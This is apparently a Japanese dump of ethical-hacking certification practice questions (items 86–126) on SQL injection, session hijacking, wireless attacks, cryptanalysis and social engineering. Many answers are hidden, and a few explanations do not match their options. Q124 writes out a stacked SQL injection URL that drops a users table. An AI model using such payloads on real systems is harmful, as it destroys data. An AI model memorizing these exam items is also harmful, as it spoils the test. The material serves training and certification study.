クラウドストレージプロバイダーは、不正な第三者が、アーカイブされたクライアント通信を含む暗号化されたデータベースファイルの完全なバックアップを取得したことを発見した。攻撃者は暗号鍵を侵害しておらず、元の平文レコードが漏洩した証拠もない。侵害を調査しているフォレンジック暗号専門家は、攻撃者が暗号化されたデータを単独で分析し、暗号化された出力内の統計的な異常や構造的な繰り返しを探して、意味のある情報を推測しようとしている可能性を検討している。組織の脆弱性を適切に評価するために、専門家は、傍受された暗号化データのみを使用して実行された攻撃に最も適した暗号解読手法を特定する必要がある。
A. 暗号文のみの攻撃
B. 選択暗号文攻撃
C. 選択平文攻撃
D. 既知平文攻撃
正解: (正解を表示します)
The attacker has access only to the encrypted data without any corresponding plaintext or encryption keys and is attempting to derive information through analysis of the ciphertext alone, which defines a ciphertext-only attack.

質問: **87**
ボストンのニューイングランド保険で行われたレッドチーム評価において、倫理的ハッカーのダニエルは、リセットフラグを含む偽装TCPパケットをクライアントアプリケーションをホストするサーバーに送信しました。その結果、従業員とサーバー間の複数のアクティブなセッションが突然終了し、正当な業務が一時的に中断されました。ダニエルはこのデモンストレーションを利用して、攻撃者が完全なハイジャックを完了することなく、セッションを強制的に切断できる方法を示しました。ダニエルがシミュレートしているのは、どのようなネットワークレベルのセッションハイジャック手法でしょうか？
A. RSTハイジャック
B. UDPハイジャック
C. ブラインドハイジャック
D. TCP/IPハイジャック
正解: (正解を表示します)
Sending spoofed TCP packets with the reset (RST) flag terminates active connections abruptly.

This method of forcibly disrupting sessions without taking over the connection is known as RST hijacking.

質問: **88**
アリスは同僚のブライアンに機密文書を送る必要があります。彼らの会社には公開鍵基盤が構築されています。そのため、アリスはメッセージを暗号化し、デジタル署名を行います。アリスは_____を使用してメッセージを暗号化し、ブライアンは_____を使用してデジタル署名を確認します。
A. ブライアンの公開鍵; ブライアンの公開鍵
B. ブライアンの秘密鍵、アリスの公開鍵
C. ブライアンの公開鍵、アリスの公開鍵
D. アリスの公開鍵; アリスの公開鍵
正解: **(**正解を表示します**)**

質問: **89**
多国籍企業が、世界中の製造拠点にIoTベースの環境制御システムを導入する計画を立てています。同社は、この新しいシステムが潜在的な脅威から確実に保護されるよう、サイバーセキュリティチームを編成しました。サイバーセキュリティチームの任務は、高度な持続的脅威(APT)グループが新しいIoTベースの環境制御システムを侵害するために使用する可能性が最も高い方法を特定することです。最も可能性の高い攻撃経路は何でしょうか？
A. APTグループは、IoTデバイスのファームウェアに存在するゼロデイ脆弱性を悪用します。
B. APTグループは、IoTデバイスと制御サーバーの間で暗号化ベースの中間者攻撃を実行します。
C. APTグループは、ネットワークに過負荷をかけ、IoTデバイスを制御するためにDDoS攻撃を実行します。
D. APTグループは、侵害されたユーザー認証情報を使用してネットワークに侵入します。
正解: **(**正解を表示します**)**
Advanced persistent threat groups commonly target IoT environments by exploiting unknown or unpatched firmware vulnerabilities, allowing stealthy, long-term compromise of devices without triggering traditional security controls.

質問: **90**
あなたは政府機関でセキュリティ監査を実施しています。監査中に、臨時の契約社員がオープンスペースのオフィスエリアに座り、スマートフォンを使って従業員がシステムにパスワードを入力する様子をこっそり録画しているのを目撃しました。さらに調査を進めたところ、近くのゴミ箱に機密性の高いプロジェクト情報が記載された書類が捨てられているのを発見しました。どのような種類の攻撃が行われている可能性が最も高いでしょうか？
A. 近距離攻撃
B. 内部犯行
C. 分散攻撃
D. パッシブ攻撃
正解: **D (**コメントを発表する**)**

The attacker is observing and collecting sensitive information without directly interacting with or altering systems, capturing data covertly through recording and discarded documents. This behavior aligns with a passive attack, where the goal is information gathering rather than system disruption.

質問: **91**
レガシー Windows ネットワークに対する侵入テスト中に、ターゲット システムで nbtstat -A <IP> コマンドを使用して、<20> で終わるエントリを含むいくつかの NetBIOS 名を取得します。
<03>。しかし、共有フォルダの一覧を取得しようとすると失敗します。この動作を最もよく説明しているのは次のうちどれですか？
A. 対象システムのNetBIOSサービスが非標準ポートにバインドされています。
B. 対象システムでファイルとプリンタの共有が無効になっています。
C. ホストはどの Active Directory ドメインにも属していません。
D. nbtstatユーティリティはNetBIOS名から共有を列挙できません。
正解: **(**正解を表示します**)**
The presence of NetBIOS name entries indicates that NetBIOS is running, but the inability to list shared folders means file and printer sharing is disabled on the target system, preventing share enumeration despite NetBIOS visibility.

質問: **92**
攻撃者のボビーは、あるユーザーを標的にし、そのユーザーの無線通信を乗っ取って傍受することを企てました。彼は、被害者を欺くために、2つの正規のエンドポイント間に偽の通信塔を設置しました。ボビーはこの仮想塔を使って、ユーザーと実際の通信塔間のデータ伝送を妨害し、アクティブなセッションを乗っ取ろうとしました。ユーザーからのリクエストを受け取ると、ボビーは仮想塔を使ってトラフィックを操作し、被害者を悪意のあるウェブサイトにリダイレクトしました。上記のシナリオでボビーが行った攻撃とは何でしょうか？
A. クラック攻撃
B. ワードライビング
C. aLTEr攻撃
D. 妨害信号攻撃
正解: **C (**コメントを発表する**)**

質問: **93**

あなたはSentinel IT Servicesのセキュリティアナリストとして、オレゴン州ポートランドにあるGreenValley Credit Unionのウェブアプリケーションを監視しています。ログ分析中に、顧客ログインポータルでSQLインジェクションの試みを発見しました。攻撃者は悪意のある文字列を入力してクエリロジックを操作しようとしていました。アプリケーションは、クエリ実行前に特殊文字をエスケープされた文字列に置き換えることでクエリ操作を防ぎ、SQL文が変更されないようにすることで、この問題を軽減しています。観察された防御メカニズムに基づいて、アプリケーションはどのSQLインジェクション対策を採用していますか？
A. ユーザー入力の検証を実行する
B. シングルクォートをエンコードする
C. データベースアクセスを制限する
D. パラメータ化されたクエリまたは準備されたステートメントを使用する
正解: **B (**コメントを発表する**)**
The application replaces special characters like single quotes with escaped equivalents before executing the query. This prevents alteration of SQL syntax and maintains the intended query structure, which is characteristic of encoding or escaping single quotes as a defense against SQL injection.

質問: **94**
あなたは大手企業のネットワークセキュリティ担当者です。最近、ネットワーク内で特定の機密ファイルが権限のないユーザーによってアクセスされていることに気づきました。中間者攻撃(MitM攻撃)が行われているのではないかと疑っています。以下のネットワーク活動のうち、どれがこれを裏付けるのに役立ちますか？
A. ネットワークトラフィックの急激な増加。
B. 同じIPアドレスからの複数回のログイン試行。
C. DNSリクエストの異常な量の検出。
D. IPアドレスが複数のMACアドレスに解決される。
正解: **(**正解を表示します**)**
In a Man-in-the-Middle attack, techniques such as ARP spoofing are commonly used, causing a single IP address to resolve to multiple MAC addresses. This abnormal IP-to-MAC mapping is a strong indicator of MitM activity on the network.

質問: **95**
ITセキュリティアナリストとして、機密性の高い顧客データをSQLデータベースに保存しているeコマースWebサイトのセキュリティ対策をレビューするよう依頼されました。最近、匿名の情報提供により、SQLインジェクション攻撃を専門とする熟練ハッカーがシステムを標的にしている可能性があるという脅威が警告されました。このサイトでは、基本的なインジェクション攻撃を防ぐために入力検証対策を既に実施しており、疑わしいパターンを含むユーザー入力はブロックしています。しかし、このハッカーは高度なSQLインジェクション技術を使用することが知られています。このような状況において、ハッカーがセキュリティ対策を回避するために最も採用する可能性が高い戦略は次のうちどれでしょうか？
A. ハッカーは 帯域外」SQLインジェクション攻撃を展開し、DNSやHTTPリクエストなどの別の通信チャネルを介してデータを抽出する可能性があります。
B. ハッカーは、アプリケーションの真偽応答を利用してデータを少しずつ抽出する ブラインド」SQLインジェクション攻撃を用いる可能性があります。

C. ハッカーは代わりにDDoS攻撃に訴え、サーバーをクラッシュさせてECサイトを利用不能にしようとする可能性があります。
D. ハッカーは、あまり知られておらず、システムのセキュリティでブロックされる可能性が低いSQLコマンドを使用しようとする可能性があります。
正解: **(**正解を表示します**)**

質問: **96**
Debry Inc.のセキュリティチームは、辞書攻撃や鍵回復攻撃などの攻撃を阻止するために、Wi-Fiセキュリティを強化することを決定しました。この目的のために、セキュリティチームは、PSKの概念に代わる、同時認証等価(SAE)、別名ドラゴンフライ鍵交換と呼ばれる最新の鍵確立プロトコルを使用する最先端技術の実装を開始しました。Debry Inc.が実装したWi-Fi暗号化技術とは何ですか？
A. WEP
B. WPA
C. WPA3
D. WPA2
正解: **C (**コメントを発表する**)**

質問: **97**
コロラド州デンバーで、倫理ハッカーのソフィア ･グエンはロッキーマウンテン保険に雇われ、ネットワークセキュリティ対策の有効性を評価する任務を負っています。彼女は侵入テスト中に、悪意のあるパケットを断片化することで検知を逃れ、会社のファイアウォールを回避しようと試みます。このような手法を認識していたITチームは、標準ヘッダー以外のパケットの内容を分析するセキュリティ対策を導入していました。しかし、システムが断片化されたパケットを識別し、ブロックしたため、ソフィアの試みは失敗に終わります。
IT チームが Sophia のファイアウォール回避の試みに対抗するために最も使用しているセキュリティ対策はどれですか。
A. ディープパケットインスペクション
B. 異常ベースの検出
C. シグネチャベースの検出
D. ステートフルパケットインスペクション
正解: **A (**コメントを発表する**)**
The system is able to analyze packet contents beyond standard headers and detect malicious intent even when packets are fragmented. This capability is characteristic of deep packet inspection, which reassembles and inspects the full payload to identify threats that attempt to evade detection through fragmentation.

質問: **98**
Paolaはホストに対してNmapスキャンを実行中にファイアウォールの存在を確認しました。ファイアウォールがステートフルかステートレスかを判断するために、次のうちどのオプションを使用するのが最適でしょうか？
A. -sF
B. -sA

C. -sX
D. -sT
正解: **(**正解を表示します**)**

質問: **99**
あなたはNexus Security Labsの倫理ハッカー、ソフィア・パテルです。カリフォルニア州サンフランシスコにあるベイビュー大学のモバイルデバイスのセキュリティテストに採用されました。評価では、USBデバッグが無効でOEMロック解除制限が設定されたAndroid 11ベースのSamsung Galaxy Tab S6が提供されます。攻撃者が特権アクセスを取得しようとする様子をシミュレートするため、システムの脆弱性を悪用してPCを必要とせずにデバイス上で直接ルートアクセスを取得するモバイルアプリケーションをインストールします。これにより、OSの制限を回避し、機密性の高い研究データを取得できます。この方法に基づいて、どのAndroidルート化ツールを使用していますか？
A. マジスクマネージャー
B. ワンクリックルート
C. キングルート
D. ルートマスター
正解: **(**正解を表示します**)**
The method involves rooting directly on the device without a PC by exploiting system vulnerabilities through an app. KingoRoot is specifically known for providing on-device rooting capability for Android systems without requiring a computer, fitting this scenario.

質問: **100**
ノースカロライナ州ローリーにあるIntelliCore Systems社で行われた侵入テストにおいて、倫理的ハッカーのハビエルは、同社のポータルサイトに対して繰り返し大量のWebリクエストを送りつけ、検索クエリやフォーム送信を処理するバックエンドスクリプトに過負荷をかけました。その結果、正規の顧客はログインや取引完了時に長時間の遅延やタイムアウトが発生する事態に見舞われました。ハビエルが最も可能性の高いDoS/DDoS攻撃手法はどれでしょうか？
A. UDP洪水
B. スローロリス
C. ピアツーピア攻撃
D. HTTP GET/POST攻撃
正解: **D (**コメントを発表する**)**
Sending a high volume of web requests that target application-level scripts, causing service delays and timeouts, is characteristic of an HTTP GET/POST attack, which exploits the processing overhead of web applications to create a denial-of-service condition.

質問: **101**
DEPは何をブロックしますか？
A. 暗号化
B. ログ記録

C. データメモリでの実行
D. スキャン
正解: **C (**コメントを発表する**)**
Data Execution Prevention (DEP) blocks code execution from memory regions intended only for data storage, helping prevent exploits such as buffer overflow attacks.

質問: **102**
侵入テスト担当者は、Webアプリケーションの「注文履歴」ページがSQLインジェクションの脆弱性を抱えている可能性があると疑っている。これは、URLに含まれる保護されていないユーザーIDパラメータに基づいてユーザーの注文を表示しているためだ。
これを検証するのに最も適切な方法はどれでしょうか？
A. URLパラメータにJavaScriptを挿入して、クロスサイトスクリプティング(XSS)の脆弱性をテストします。
B. URLパラメータをuserID=Iまたは1=1に変更し、すべての注文が表示されるかどうかを確認します。
C. ディレクトリトラバーサル攻撃を実行して、機密性の高いシステムファイルにアクセスする
D. ログインフォームに対して総当たり攻撃を行い、有効なユーザー認証情報を特定する。
正解: **B (**コメントを発表する**)**
Altering the user ID parameter with a tautological SQL condition tests whether the parameter is directly incorporated into a backend query without proper sanitization, which would cause the application to return all records if it is vulnerable to SQL injection.

質問: **103**
あなたは、大都市のビジネス中心地にある政府請負業者のオフィスの物理的および社会的脆弱性を評価する任務を負ったレッドチームの一員です。偽装工作の段階で、あなたは第三者のIT技術者の役割を演じることにしました。到着すると、受付係はあなたが定期プリンターのメンテナンスに来たと思い込み、確認なしにあなたを中に入れます。
作業スペース内を移動しながら、ワークステーションに放置された開いた端末、プリントアウト、付箋などが何気なく目につきます。その後、この訪問中に取得した複数のユーザー認証情報と部分的なアクセス情報を報告します。このシナリオは、どのソーシャルエンジニアリング手法を最もよく表していますか？
A. ショルダーサーフィン
B. 盗聴
C. なりすまし
D. ゴミ箱漁り
正解: **C (**コメントを発表する**)**
The scenario involves posing as a legitimate third-party IT technician to gain physical access to the facility. This relies on assuming a trusted identity to bypass verification controls, which is the defining characteristic of impersonation in social engineering.

質問: **104**
セキュリティ制御とCredential Guardが有効になっているため、レッドチームのオペレーターはLSASSプロセスのメモリにアクセスすることなく、Windowsマシンから認証情報を取得したいと考えています。代わりに、

セキュリティサポートプロバイダーインターフェイス(SSPI)を使用して、ログインしているユーザーのコンテキスト内でNetNTLM応答を生成し、それらの応答を収集してオフラインでクラッキングする手法を利用します。このシナリオで使用されている攻撃手法は何ですか？
A. OS認証プロトコルの操作を通じて実行される内部モノローグ攻撃手法。
B. キャプチャした認証トラフィックシーケンスを再利用してリプレイ攻撃を試みる。
C. 認証目的で認証情報ハッシュを使用するハッシュインジェクション方式。
D. ネットワークアクセス用の偽造チケットを使用したパスザチケット攻撃手法。
正解: **(**正解を表示します**)**
The Internal Monologue technique abuses the Security Support Provider Interface to trigger NetNTLM challenge-response generation within the context of the logged-in user without accessing LSASS memory. This allows the attacker to capture NetNTLM hashes for offline cracking while bypassing protections such as Credential Guard.

質問: **105**
侵入テスト担当者が、企業の法務部門を標的とした高度なソーシャルエンジニアリング攻撃に対する脆弱性を評価している。テスト担当者は、最近の合併や社内訴訟に関する包括的な知識を活用し、法務部門の従業員を騙して機密文書を共有させるための、非常に説得力のある口実を作り上げている。疑念を抱かれることなく機密文書を入手するために、テスト担当者が用いるべき最も効果的なソーシャルエンジニアリング手法は何か？
A. 新規の法務インターンを装って事務所に直接出向き、文書へのアクセスを要求する。
B. 特定の合併の詳細に言及し、文書へのアクセスを要求するスピアフィッシングメールを送信する
C. 偽のLinkedInプロフィールを作成して法律関係の従業員とつながり、文書共有を依頼する。
D. 一般的な法的テンプレートを添付した大規模なフィッシングキャンペーンを実施する
正解: **B (**コメントを発表する**)**
Spear-phishing leverages highly specific, contextual knowledge to craft a believable and relevant message. Referencing real merger details and internal legal proceedings builds trust and legitimacy, making legal staff far more likely to share confidential documents without suspecting deception.

質問: **106**
侵入テスト担当者は、HTTPS、セキュアCookieフラグ、厳格なセッション管理を使用してセッションハイジャックを防止する企業のセキュアWebアプリケーションを評価します。これらの保護機能を回避し、検出されずに正規ユーザーのセッションをハイジャックするには、テスト担当者はどのような高度な手法を用いるべきでしょうか？
A. ログイン時に既知のセッションIDを強制的に使用することで、セッション固定攻撃を利用する。
B. 信頼できる認証局を侵害することで、中間者攻撃(MitM攻撃)を実行する。
C. タイミングサイドチャネル脆弱性を悪用してセッショントークンを予測する
D. クロスサイトスクリプティング(XSS)攻撃を実行してセッショントークンを盗む
正解: **(**正解を表示します**)**
Even with HTTPS, secure cookie flags, and strict session management, a Cross-Site Scripting vulnerability allows an attacker to execute malicious code in the user's browser. This enables direct access to the active

session token within the authenticated context, making XSS an effective method to hijack a legitimate session without breaking transport security or session handling logic.

質問: **107**
調査中に、倫理的ハッカーがWebアプリケーションのAPIが侵害され、不正アクセスとデータ改ざんが発生していることを発見しました。攻撃者がWebhookとWebシェルを使用していることも判明しました。さらなる攻撃を防ぐために、次のうちどの対策を講じるべきでしょうか？
A. Webhook の定期的なコードレビューを実施し、未知の IP アドレスからの接続をブロックするように API を修正します。
B. Webサーバーのセキュリティを強化し、APIユーザー向けに多要素認証を追加し、サーバー側でのスクリプトの実行を制限します。
C. Webシェル通信をブロックし、Webhookのログの詳細度を上げるルールを持つWebアプリケーションファイアウォール(WAF)を実装します。
D. すべてのAPIエンドポイントで入力検証を実装し、Webhookペイロードを確認し、Webシェルの定期的なスキャンをスケジュールします。
正解: **(**正解を表示します**)**
Hardening the web server, enforcing multi-factor authentication for API access, and restricting server-side script execution directly eliminate the attacker's persistence mechanism and significantly reduce the ability to exploit compromised APIs and deploy webshells again.

質問: **108**
ジョージア州アトランタにある物流会社で侵入テストを実施中、ネットワーク機器の構成を調査したところ、暗号化や整合性チェックのない旧式の通信メカニズムに依存していることが判明しました。これらのメカニズムにより、隣接するシステム間で検証なしに運用データを交換できるため、インフラストラクチャが不正操作される可能性が生じます。最も顕著に存在する脆弱性の種類は何ですか？
A. パスワード保護の欠如
B. 安全でないルーティングプロトコル
C. 認証の欠如
D. ファイアウォールの脆弱性
正解: **(**正解を表示します**)**

The network devices exchange operational data without verifying the source or integrity, indicating that authentication is missing. This lack of authentication allows unauthorized systems to manipulate communications.

質問: **109**
デンバーにあるApex Logistics社で行われたレッドチーム演習中、倫理的ハッカーのレイチェルは、セッションハイジャックの試みをシミュレートするために、制御されたパケットインジェクション攻撃を実行しました。クライアントのITチームは、手動分析に頼るのではなく、ネットワーク全体でこのような異常な動作をリアルタイムで自動的に検出する方法を求めています。彼らは、事前定義されたルールとトラフィックシグネチャに基づいて疑わしいセッションアクティビティにフラグを立てることができる監視システムを導入することにしました。ITチームの要件に最も適した検出方法はどれでしょうか？
A. 侵入検知システム(IDS)を使用する
B. ACKストームを監視する
C. スニッフィングツールを使用して手動でパケット分析を実行する
D. 予測可能なセッショントークンを確認する
正解: **A (**コメントを発表する**)**
An Intrusion Detection System can automatically monitor network traffic in real time, using predefined rules and signatures to detect abnormal session behaviors, such as packet injection attempts indicative of session hijacking.

質問: **110**
マイアミのサンシャイン信用組合で行われたレッドチーム評価において、倫理的ハッカーのローラは、同社のセッション処理プロセスに脆弱性があることを指摘しました。ローラは、ユーザーがログインすると、ログイン前に割り当てられた認証トークンが更新されずに有効なままになることを示しました。ローラは、攻撃者が被害者を騙して、攻撃者が既に知っている値で認証させることで、この脆弱性を悪用し、その後アクセス権を取得できる可能性があると説明しました。このリスクを軽減するため、ITチームは適切なセッションライフサイクル管理に焦点を当てた対策を実施することに同意しました。ITチームはどのような対策を実施すべきでしょうか？
A. セッション固定攻撃を防ぐため、ログイン成功後にセッションIDを再生成します。
B. 必要でない限り、認証されていないユーザーのセッションを作成しないでください。
C. HTTPおよびHTTPS経由のすべてのWebトラフィックに対して、制限的なキャッシュディレクティブを使用する
D. SSLを実装し、ネットワーク経由で送信されるすべての情報を暗号化する
正解: **A (**コメントを発表する**)**
Regenerating the session ID upon successful login ensures that any pre-assigned or attacker- known session token becomes invalid, preventing session fixation attacks and improving session lifecycle security.

質問: **111**

貴社は、第三者クライアント向けにPCI-DSS監査および侵入テストを実施しています。承認された侵入テスト中に、従業員のコンピュータ上に、数百件のクレジットカード番号やその他の個人情報(PII)が含まれていると思われるフォルダを発見しました。次のうち、最適な対応策はどれですか？
A. データのコピーを作成し、ローカルマシンに保存してください。
B. 直ちにペネトレーションテストを中止し、管理者に連絡してください。
C. ペネトレーションテストを継続し、この情報をレポートに含めてください。
D. 従業員に連絡を取り、なぜそのデータを持っているのかを尋ねてください。
正解: **B** (コメントを発表する)
Discovering large amounts of sensitive credit card and PII data during a PCI-DSS assessment is a serious security and compliance issue. The appropriate action is to stop testing and immediately notify management so the incident can be properly handled, documented, and investigated without risking further exposure of sensitive information.

質問: **112**
この種のインジェクション攻撃では、エラーメッセージは表示されません。アプリケーションにSQLペイロードを与え、サーバーから真偽の応答を引き出すと情報が返されるため、悪用は困難です。攻撃者は応答を観察することで、機密情報を抽出できます。これはどのような種類の攻撃でしょうか？
A. UNION SQLインジェクション
B. ブラインドSQLインジェクション
C. エラーベースのSQLインジェクション
D. 時間ベースのSQLインジェクション
正解: **B** (コメントを発表する)

質問: **113**
組織の運用技術(OT)環境に対する承認済みの侵入テストにおいて、テスト担当者は既に無防備な産業資産を特定しており、コントローラ、サービス、インターフェースを積極的に調査して、悪用可能な脆弱性を特定します。ただし、エクスプロイトの試行や永続化メカニズムはまだ実行されていません。
OT ハッキング手法によれば、現在どのフェーズが実行されていますか?
A. リモートアクセスを取得する
B. 情報収集
C. 攻撃を開始する
D. 脆弱性スキャン
正解: (正解を表示します)
Actively probing controllers, services, and interfaces to identify weaknesses without exploiting them corresponds to the vulnerability scanning phase in the OT hacking methodology.

質問: **114**
ワシントン州シアトル。倫理ハッカーのミア・チェンは、パシフィック・トラスト銀行に雇われ、顧客の機密性の高い金融データを保管する企業ネットワークのセキュリティテストを行う。侵入テスト中、ミアは徹底的な偵察を行い、重要な取引記録データベースをホストしていると思われるサーバーを標的とする。サーバーとや

り取りするうちに、クエリには迅速に応答する一方で、予期しないプロトコル応答など、実稼働システムの動作とは矛盾すると思われるエラーメッセージが時折返されることに気づいた。
このサーバーが自分の行動を監視するためのおとりである可能性を疑ったミアは、システムがハニーポットである可能性を明らかにする不一致を検出する技術を適用します。
Pacific Trust Bank のサーバーがハニーポットであるかどうかを判断するために、Mia が使用している可能性が高い手法はどれですか。
A. 応答時間の分析
B. MACアドレスの分析
C. 実行中のサービスのフィンガープリント
D. システム構成とメタデータの分析
正解: **C** (コメントを発表する)
The tester observes unusual or inconsistent responses from the server and analyzes service behavior to determine if it matches a real system. This aligns with fingerprinting the running service, where discrepancies in protocol responses and service characteristics can reveal a honeypot.

質問: **115**
シナリオ :ジョーは自宅のパソコンを起動し、オンラインバンキングにアクセスしようとします。URL「www.bank.com」を入力するとウェブサイトが表示されますが、まるで初めてアクセスしたかのように認証情報の再入力を求められます。ウェブサイトのURLを詳しく調べてみると、サイトが安全ではなく、アドレスも異なっていることがわかります。ジョーはどのような種類の攻撃を受けているのでしょうか？
A. DoS攻撃
B. DNSハイジャック
C. DHCPスプーフィング
D. ARPキャッシュポイズニング
正解: (正解を表示します)

質問: **116**
あなたは、WPA2暗号化を使用している企業の無線ネットワークのセキュリティ評価を担当しています。評価中に、攻撃者が以前にキャプチャしたパケットを傍受して再生できる可能性のある脆弱性を特定しました。どのWPA2の脆弱性が悪用されている可能性が高いですか？
A. 共有GTKによるHole196の脆弱性。
B. 安全でないWPS PIN復旧方法。
C. キーの再インストールによるKRACKの脆弱性。
D. GTKに影響を与える弱い乱数発生器(RNG)。
正解: (正解を表示します)
The KRACK vulnerability exploits weaknesses in the WPA2 key reinstallation process, allowing attackers to force reuse of encryption keys and replay previously captured packets, enabling interception and manipulation of protected traffic.

質問: **117**

攻撃者は暗号化されたファイルコンテナから最初のバイト列を抽出し、ツールを使って数値の組み合わせを反復処理します。これはどのような暗号解読技術でしょうか？
A. 量子解法による強制暗号鍵
B. ハッシュ出力間で同一のダイジェストを検索する
C. 自動化によって考えられるすべてのパスワードをテストする
D. 出力長を分析して異常を検出します
正解: **(**正解を表示します**)**
Iterating through numeric combinations to unlock an encrypted container indicates a brute-force approach, where every possible password or key is systematically tested through automation until the correct one is found.

質問: **118**
プロのハッカーであるジョエルは、ある企業を標的にし、その従業員が頻繁にアクセスするウェブサイトの種類を特定しました。この情報を用いて、彼はこれらのウェブサイトに存在する可能性のある脆弱性を探し出し、ユーザーをウェブページからリダイレクトしてマルウェアを被害者のマシンにダウンロードさせる悪意のあるスクリプトを注入しました。ジョエルは、被害者が感染したウェブアプリケーションにアクセスするのを待ち、被害者のマシンを侵害します。上記のシナリオでジョエルが使用した手法は次のうちどれですか？
A. DNSリバインディング攻撃
B. 水飲み場攻撃
C. クリックジャッキング攻撃
D. マリオネット攻撃
正解: **B (**コメントを発表する**)**

質問: **119**
ある組織はデータ整合性チェックにSHA-256を使用していますが、それでも不正なデータ改ざんが発生しています。この問題を解決するのに役立つ暗号化ツールはどれでしょうか？
A. 非対称暗号化
B. 対称暗号化
C. デジタル署名
D. SSL/TLS証明書
正解: **(**正解を表示します**)**
Digital signatures provide data integrity along with authentication and non-repudiation by binding the hash of the data to a signer's private key, allowing detection of unauthorized modifications and verification of the data's origin.

質問: **120**
カリフォルニア州サンフランシスコのベイビュー大学で、倫理的ハッカーのソフィア・パテルは、職員が使用するAndroid 11タブレットのセキュリティ制御を評価している。攻撃をシミュレートするために、彼女はKingoRoot.apkをデバイスの1つに直接インストールする。このアプリケーションは、コンピュータへの接続を

必要とせずにシステムの脆弱性を利用して権限を昇格させる。このモジュールに基づいて、このルート化手法のどの機能が攻撃を効果的にするだろうか？
A. Bluetoothペアリングの脆弱性を悪用して、デバイスレベルの権限を取得します。
B. テザード脱獄を使用して、パッチ適用済みのカーネル機能でデバイスを再起動します。
C. 脆弱なSSL検証を利用してアプリケーション制御を回避します
D. これはPCを使わずにデバイス上で直接実行できるAPKです
正解: **D** (コメントを発表する)
KingoRoot.apk is effective because it runs directly on the Android device without requiring a computer connection, leveraging system vulnerabilities to gain elevated privileges.

質問: **121**
認定倫理的ハッカーとして、あなたは企業の内部ネットワークに関する情報を入手する任務を負っています。列挙技術を用いてネットワークのセキュリティをテストすることが許可されています。
メールアドレスを使用してユーザー名のリストを正常に取得し、DNSゾーン転送を実行しました。
開いているTCPポート25(SMTP)と139(NetBIOSセッションサービス)を特定した場合、次の行動に最も効果的な列挙手法はどれでしょうか？
A. TCPポート2049上のNFSプロトコルを悪用して、リモートシステムを制御下に置く。
B. コミュニティ文字列からSNMPを使用してユーザー名を抽出する
C. Microsoft Active Directoryに対して総当たり攻撃を行い、有効なユーザー名を抽出する
D. TCPポート139上のNetBIOSセッションサービスを悪用して、ファイルシステムへの不正アクセスを取得する
正解: (正解を表示します)

質問: **122**
侵入テスト担当者がAPIを調査した結果、数値オブジェクト識別子を変更すると、追加の認証チェックなしに他のユーザーのレコードにアクセスできることが判明しました。この問題を最も適切に説明する脆弱性はどれですか？
A. XMLインジェクション
B. 安全でない直接オブジェクト参照(IDOR)
C. クリックジャッキング
D. HTTPリクエストの密輸
正解: (正解を表示します)

IDOR vulnerabilities occur when applications expose internal object identifiers without enforcing authorization for each request. Attackers can modify predictable identifiers to access unauthorized resources. Proper server-side access control should verify that every authenticated user is permitted to access the requested object.

質問: **123**
シャーロットにあるIronClad Financial Services社での承認済み演習において、レッドチームは脆弱性を悪用し、重要なサーバーへの管理者権限を取得することに成功した。この目的を達成した後、チームは元の脆弱性が修正された場合でもアクセスが継続されるよう、バックドア機構をインストールした。チームはこの活動を、承認された範囲内での長期的な攻撃者の行動を実証する一環として文書化した。
CEH倫理的ハッキングのフレームワークにおいて、この活動はどの段階に該当しますか？
A. 認識
B. 脆弱性スキャン
C. アクセスの維持
D. 線路のクリアリング
正解: **C** (コメントを発表する)
Installing a backdoor after gaining administrative access is a classic method used to preserve access to a compromised system over time. This activity corresponds to maintaining access, where persistence mechanisms are established to ensure continued control after the initial exploitation phase.

質問: **124**
カスタムWebアプリケーションを標的としたレッドチーム演習中に、テスターは、アプリケーションがURLから数値IDパラメータを取得し、動的にSQLクエリを構築していることに気づきました。SQLインジェクションを疑ったテスターは、次のような細工されたHTTP GETリクエストを送信します。
http://vulnerableapp.local/view.php?id=l; DROP TABLE users; --その後すぐに、アプリケーションはデータベースエラーをスローし、チームはusersテーブルがバックエンドデータベースから削除されたことを確認します。
この挙動に基づくと、どのSQLインジェクション手法が最も可能性の高い使用例でしょうか？
A. 攻撃者は追加データを取得するために UNION 句を追加しました。
B. 攻撃者はデータベース情報を抽出するためにエラーを誘発した。
C. 攻撃者はブール論理を使用して真偽の応答を推測しました。
D. 攻撃者は、最初のクエリと同時に2番目の悪意のあるクエリを実行しました。
正解: **D** (コメントを発表する)
The attacker injected an additional malicious SQL statement that was executed alongside the original query, allowing destructive commands such as dropping a table, which is characteristic of stacked (piggy-backed) SQL queries.

質問: **125**

ドイツのフランクフルトにある金融サービスプロバイダーが、顧客向け取引ポータルに影響を与える断続的なサービス障害に見舞われた。ネットワークエンジニアは、ウェブサーバーへの接続試行が急増していることを確認した。
パケット検査の結果、受信トラフィックの大部分は、完了することのない接続開始要求であることが判明した。サーバーは、到着しない確認応答を待つ間、メモリを割り当て、半開接続状態を維持していた。時間が経つにつれ、接続テーブルが容量不足に陥り、正当なユーザーが新しいセッションを確立できなくなっていた。
異常なペイロードは検出されず、パケット自体も構造的に有効であるように見えた。
この挙動を最もよく説明できる攻撃手法はどれですか？
A. セッション偽装フラッド攻撃
B. ACKフラッド攻撃
C. 断片化攻撃
D. SYN洪水攻撃
正解: **D (**コメントを発表する**)**
The behavior described involves a large number of incomplete TCP connection attempts where SYN requests are sent but the final handshake is never completed. This causes the server to maintain half-open connections until resources are exhausted, which is the defining characteristic of a SYN flood attack.

質問: **126**
テキサス州オースティンにあるフィンテック系スタートアップ企業が、自社のウェブベースの融資管理プラットフォームの耐障害性を評価するため、管理されたレッドチームによる検証を実施することを承認した。検証開始当初、評価チームはアプリケーションの構造を理解することに重点を置く。
彼らは、公開されているエンドポイントを調査し、さまざまなナビゲーションパスにおけるサーバー応答を観察し、アクセス可能なディレクトリを特定し、クライアントサイドスクリプト、フォームパラメータ、およびバックエンドの動作間の関係を文書化します。エラー処理パターンと応答のバリエーションをカタログ化し、プラットフォームのさまざまなコンポーネント間でユーザー操作がどのように処理されるかを理解します。
収集された情報は、その後の取り組み段階における戦略計画の策定に活用されます。
ウェブアプリケーションハッキングの手法において、このシナリオで最も正確に示されているのはどの段階でしょうか？
A. アクセスを維持する
B. スキャン
C. アクセス権の取得
D. 認識
正解: **(**正解を表示します**)**
The activity focuses on actively interacting with the application to identify endpoints, directories, parameters, and response behaviors while mapping how the system behaves. This corresponds to the scanning phase, where structured probing is used to analyze application structure and discover attack surfaces for later exploitation planning.

質問: **127**

